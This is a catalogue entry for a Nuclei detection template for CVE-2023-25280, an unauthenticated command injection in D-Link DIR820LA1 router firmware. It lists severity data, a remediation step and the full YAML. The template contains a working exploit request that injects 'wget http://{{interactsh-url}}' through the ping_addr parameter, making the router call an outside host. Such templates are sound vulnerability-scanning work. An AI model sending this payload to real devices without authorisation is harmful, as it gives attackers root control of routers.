CVE-2023-25280: D-Link DIR820LA1_FW105B03 'ping_addr' - OS Command Injection
- Template: CVE-2023-25280
- Name: D-Link DIR820LA1_FW105B03 'ping_addr' - OS Command Injection
- Description: OS Command injection vulnerability in D-Link DIR820LA1_FW105B03 allows attackers to escalate privileges to root via a crafted payload with the ping_addr parameter to ping.ccp.
- Impact: Unauthenticated attackers can execute arbitrary OS commands with root privileges on the D-Link DIR820LA1 router, leading to complete device compromise and network takeover.
- Remediation: Upgrade to the latest firmware version from D-Link or replace the affected device with a patched model.
- Severity: critical
- Authors: pussycat0x
- Tags: cve, cve2023, rce, unauth, kev, dlink, vkev, vuln
- References: https://github.com/migraine-sudo/D_Link_Vuln/tree/main/cmd%20Inject%20in%20pingV4Msg, https://www.dlink.com/en/security-bulletin/
- Cves: CVE-2023-25280
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-25280.yaml
- Digest: 4b0a0048304602210081e9bc76fce687f6439a86c4c17a91be46ab5819c09a5f93d816ce08a516da9b022100f33e74db3139a221dc5b063c1fca9e5145faedc95f849e0bf2126162489db312
- Created at: 2025-06-15T08:27:20Z
- Updated at: 2026-11-20T02:03:43Z
- Age in days: 527
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-25280.yaml
- Checked, none or zero: verified
- Not known: max requests
Classification
- Cwe: CWE-78
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.97864
- Epss percentile: 0.99909
- Cpe: cpe:2.3:o:dlink:dir820la1_firmware:105b03:*:*:*:*:*:*:*
Metadata
- Product: dir820la1_firmware
- Vendor: dlink
Products
| Product | Indexed | Url |
|---|---|---|
| dlink:dir820la1_firmware | yes | /v1/products/dlink/dir820la1_firmware |
Labels
- Name: D-Link DIR820LA1 - Command Injection
- Impact: Attackers can escalate privileges to root, potentially leading to full control over the device.
- Remediation: Update to the latest firmware version provided by D-Link.
- Vulnerability type: command_injection
- Vulnerability impact: privilege_escalation
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2023-25280
- Not known: requirements
```yaml
id: CVE-2023-25280
info:
name: D-Link DIR820LA1_FW105B03 'ping_addr' - OS Command Injection
author: pussycat0x
severity: critical
description: |
OS Command injection vulnerability in D-Link DIR820LA1_FW105B03 allows attackers to escalate privileges to root via a crafted payload with the ping_addr parameter to ping.ccp.
impact: |
Unauthenticated attackers can execute arbitrary OS commands with root privileges on the D-Link DIR820LA1 router, leading to complete device compromise and network takeover.
remediation: |
Upgrade to the latest firmware version from D-Link or replace the affected device with a patched model.
reference:
- https://github.com/migraine-sudo/D_Link_Vuln/tree/main/cmd%20Inject%20in%20pingV4Msg
- https://www.dlink.com/en/security-bulletin/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-25280
cwe-id: CWE-78
epss-score: 0.97864
epss-percentile: 0.99909
cpe: cpe:2.3:o:dlink:dir820la1_firmware:105b03:*:*:*:*:*:*:*
metadata:
vendor: dlink
product: dir820la1_firmware
tags: cve,cve2023,rce,unauth,kev,dlink,vkev,vuln
variables:
payload: "wget http://{{interactsh-url}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'D-LINK')"
condition: and
internal: true
- raw:
- |
POST /ping.ccp HTTP/1.1
Host: {{Hostname}}
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Origin: {{RootURL}}
Referer: {{RootURL}}/lan.asp
Cookie: hasLogin=1
ccp_act=pingV4Msg&ping_addr=%0a{{payload}}%0a
matchers:
- type: dsl
dsl:
- "contains(interactsh_protocol, 'http')"
- "status_code == 200"
condition: and
digest: 4b0a0048304602210081e9bc76fce687f6439a86c4c17a91be46ab5819c09a5f93d816ce08a516da9b022100f33e74db3139a221dc5b063c1fca9e5145faedc95f849e0bf2126162489db312:922c64590222798bb761d5b6d8e72950
```